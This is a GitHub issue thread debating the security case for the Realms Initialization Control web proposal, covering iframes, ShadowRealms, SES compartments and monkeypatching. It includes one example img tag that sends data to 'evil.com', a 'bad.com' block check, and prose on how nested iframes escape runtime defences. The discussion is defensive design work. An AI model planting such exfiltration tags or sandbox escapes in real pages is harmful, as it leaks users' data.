Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Missing background information #18

Open
simon-friedberger opened this issue Sep 4, 2024 · 9 comments
Open

Missing background information #18

simon-friedberger opened this issue Sep 4, 2024 · 9 comments

Comments

@simon-friedberger
Copy link

simon-friedberger commented Sep 4, 2024

In general, I think this proposal seems reasonable but I would like to see some more background information for mozilla/standards-positions#1062

  1. What are the shortcoming of doing this with cross-origin iframes? (Although that is fairly obvious it should be noted somewhere.)
  2. How does this relate to ShadowRealms?
    • Specifically, my current take is that ShadowRealms have stricter and more coherent protections. That might mean that with ShadowRealms some of the use-cases are impossible to support but it might also mean that it is easier to create solid protections.
  3. One specific example that is mentioned is fetching from a malicious website (if (url.includes('bad.com')) {). How will a solution that uses RIC prevent, for example, adding a <img src='https://evil.com?info=foo'> tag?

In general, some literature on monkeypatching to create a secure environment is needed here. #10 (comment) and #16 (comment) suggest that the intent here is really only to allow some amount of control over the order of execution of scripts. I haven't seen convincing evidence (disclaimer: I also haven't looked a lot) that such a system would indeed provide significant benefits to security without other changes to the app.

@eligrey
Copy link

eligrey commented Sep 7, 2024

How will a solution that uses RIC prevent, for example, adding a <img src='https://evil.com?info=foo'> tag?

RIC could inject a CSP or monkeypatch every part of the DOM that can make network requests. airgap.js supports both of these techniques.

@simon-friedberger
Copy link
Author

And how does airgap.js do it? The website says

Request regulation prevents network APIs and network request-generating DOM nodes from making unauthorized requests using a combination of mutation observers and prototype patchers.

But I couldn't find anything on how that works or how effective it is.

@simon-friedberger
Copy link
Author

Should also be differentiated from https://wicg.github.io/document-policy/ and sandboxed iframes.

@weizman
Copy link
Collaborator

weizman commented Sep 12, 2024

Hi @simon-friedberger, sorry for the delay, we put a lot of effort and time into addressing your notes very seriously.

Sandboxed iframes

Addressed @ https://github.com/WICG/Realms-Initialization-Control#sandboxed--cross-origin-iframes-and-workers

Cross origin iframes

Addressed @ https://github.com/WICG/Realms-Initialization-Control#sandboxed--cross-origin-iframes-and-workers

ShadowRealm

Addressed @ https://github.com/WICG/Realms-Initialization-Control#ShadowRealm

Document Policy

My intuition tells me both Document Policy and Permissions Policy aren't relevant for similar reasons as above, but we are still looking into that and I will have an answer on that hopefully by next week (at which point I'll update the document too)

Literature

I don't necessarily have a lot of literature to refer you to, except for stuff that I personally wrote, but I feel that the strongest arguments we have are via implementors rather than write ups.

There are many companies that either:

It's important to say, I don't speak on behalf of any of these - while some expressed direct interest as I described (e.g. #4), others have referred to their will to improve their composability capabilities without referring to RIC specifically

The bottom line is that the almost infinite flexibility of JavaScript allows a high level of runtime configuration of web apps' environments, and that power is used by many to integrate sophisticated dynamic security mechanizsms, that are prone to failure because of the same origin concern almost completely (which is the problem this proposal addresses).

Your question regarding <img> is actually a great example of that: Using JavaScript, it is completely possible to mitigate all sinks that lead to the introduction of HTML tags with attributes that fire network requests once attached to DOM. That's being done by the virtualization of how Attributes/DOM/HTML APIs work in a similar way to what's demonstrated via the fetch example.

The only bottleneck where virtualizing isn't fully possible is the creation of same origin realms, and that is due to characteristics of how legacy parts of the web are designed.

That is also the reason we're advocating for this proposal - user land solutions can't fix this, so a browsers level solution is our only hope.

So the address your concern, you are right - for security appliance purposes, RIC isn't sufficient without "other changes to the app", but that's in fact a feature, because RIC's purpose is to address that specific bottleneck I refer to, in order to allow security vendors to be able to complete their task successfully. It does not aspire to be a standalone feature.

@simon-friedberger
Copy link
Author

Why can Javascript prevent inserting any HTML tags which fire network requests but cannot prevent inserting a new iframe to get a new realm?

@simon-friedberger
Copy link
Author

A more broad concern is that, for a security solution, this may be a bad strategy. We've all seen antivirus live long enough to become the villain and the mentioned use-cases have some similarities:

  • These virtualization solutions do not actually virtualize which would be whitelisting, instead they monkeypatch, which is effectively blacklisting and a huge game of whack-a-mole. I assume you have seen plenty of this when developing snowjs.
  • It's based on the assumption that you can just apply some hardening software to your codebase to make everything secure and that has just never worked very well.
  • There is a business aspect of "people don't want to do the hard things which are required for security, so let's sell them something easy that works a little bit".
  • More specifically, I also don't see how an example App1 would use this to block the access to fetch for Lib1 but not for Lib2. Maybe some more concrete examples would be good.

Which doesn't mean that this is a bad proposal but maybe the security aspect is overrated.

@weizman
Copy link
Collaborator

weizman commented Sep 16, 2024

This is a take some people and I share, but I realize it's a take and not some absolute truth, I just still think that if enough people agree with this take then it makes it valid enough to pursue

While I sympathize with the virtualize vs monkeypatch approach, this proposal is the child of the realization that not everything can be moved away from the main execution environment for security purposes.

I mean sure, there are many examples of web based plugin systems that confine untrusted code within different brands of sandboxes, but for many such use cases the tradeoff can be quite big and sometimes could make such approach irrelevant.

One example of a reason would be the offloading of code into separate processes and how it forces untrusted code to live in environments that don't allow synchronous communication with the main realm, so you can't really throw it in there and expect it to work just as well.

Websites that rely on third party scripts for example can be highly affected by this (which is a form of web app building that doesn't seem to be going away anytime soon), because virtualizing an environment for such code at runtime that introduces zero amount of breaking changes is somewhere between very hard and impossible.

Given that, it makes a lot of sense to mitigate the capabilities the main execution environment naturally provides instead of moving all untrusted code elsewhere (a point a further clarify under ShadowRealms).

And to stress my point even further, I'll add that replacing "instead of" with "in addition to" makes this even more true.

Meaning, virtualizing a safe environment to embed untrusted code in doesn't mean apps can allow themselves to not protect the main realm too.

This is something we personally encountered - as you suggest, we are using a security product we maintain called LavaMoat which virtualizes a separate JavaScript environment for each of the dependencies within our dependencies graph, in which we limit each environment from accessing APIs it doesn't make use of. Our solution runs on SES, which exports what is called Compartments (which are the so called "JavaScript environment").

SES Compartments are excellent, but their confinement approach is tailor made to TC39 JavaScript, which means handling objects that are platform originated is out of scope.

Since we make use of it in the browser, when a dependency asks for a DOM API, it can effectively escape the Compartment, because the design of the DOM allows you to travel from DOM nodes back to the document to which they belong (whether if they're connected to it or not) and by that back to the globalThis of the outer realm (which grants immediate access to capabilities the confined dependency should not have access to).

This is a classic example of why mitigating and limiting the outer realm is very important - while you trust your confinement mechanizms, it is always recommended you defend your main execution environment as well - one is not instead of the other.

XSS btw is another example of that, due to how XSS (reflected for example) usually runs within the main context due to its nature, which means it will usually go under virtualization mechanizms' radars and execute in the protected realm from the very start. Hardening the main environment can help address such attacks.

Bottom line, the point I'm trying to make here, is that I don't think "blacklisting" is a bad strategy.

"people don't want to do the hard things which are required for security, so let's sell them something easy that works a little bit" is one way to look at this. My interpretation is that "if people fail to adopt the security controls the web offers them so broadly, it's not only the people who need to adjust themselves - the web also needs to do better at giving them stuff they'd practically end up using".

I agree virtualization(whitelist) is the better approach, but in practice, migrating large parts of the legacy web to virtualization-based solutions only is not very realistic (maybe for a very long term). And even so, hardening the main environment is still important, regardless of how much of the untrusted code in your app you managed to confine "elsewhere".

RIC addresses both takes, as it allows you to both introduce a more trusted system of main-realm hardening and introduce protection to the main realm of an app that manages to leverage virtualization security solutions against untrusted code.

That's because RIC focuses on fixing the one gap that both cancels virtualization attempts and is inherently impossible to fix using JavaScript - realms.

Vectors such as Images are addressable because the problem isn't images, it's how they're introduced into the DOM, so that the complexity that images bring with them that may affect the execution environment is very low.

Realms on the other hand, introduce a high level of complexity and therefore expose many ways in which they may be abused against the app, and their legacy design makes it too difficult to tame.

One classic example - their load event. The load event of a realm fires after the realm is ready, instead of when it's ready, which allows attackers to front run any defensive attempts to tame the realm once it can be accessed (referred to under hermeticity).

Another great example - their nesting features. Even if SnowJS was perfect, I can always create a cross origin iframe that would be left alone by Snow by definition, but then create a same origin iframe within that cross origin iframe, and by that escape Snow, which is left hopeless against such an attack.

These properties of legacy realms are unique to realms, which is why defending them is so different from trying to defend lex complex stuff such as images.

Images (and others) aren't exposed to this problem, the operations that lead to their creation are atomic and synchronous.

Realms specifically are a very unique and problematic scenario where due to legacy design of the web they can't be addressed, and the potential damage to successful hardening of the environment is really high - that's why we focus on them.

@simon-friedberger
Copy link
Author

Since we make use of it in the browser, when a dependency asks for a DOM API, it can effectively escape the Compartment, because the design of the DOM allows you to travel from DOM nodes back to the document

Shouldn't you be able to prevent DOM access by omitting it from the globals when creating the compartment?

@weizman
Copy link
Collaborator

weizman commented Sep 17, 2024

Shouldn't you be able to prevent DOM access by omitting it from the globals when creating the compartment?

100%, but what if the dependency you confine require DOM access? many web deps simply assist you in manipulation of the DOM - there's no way around it.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants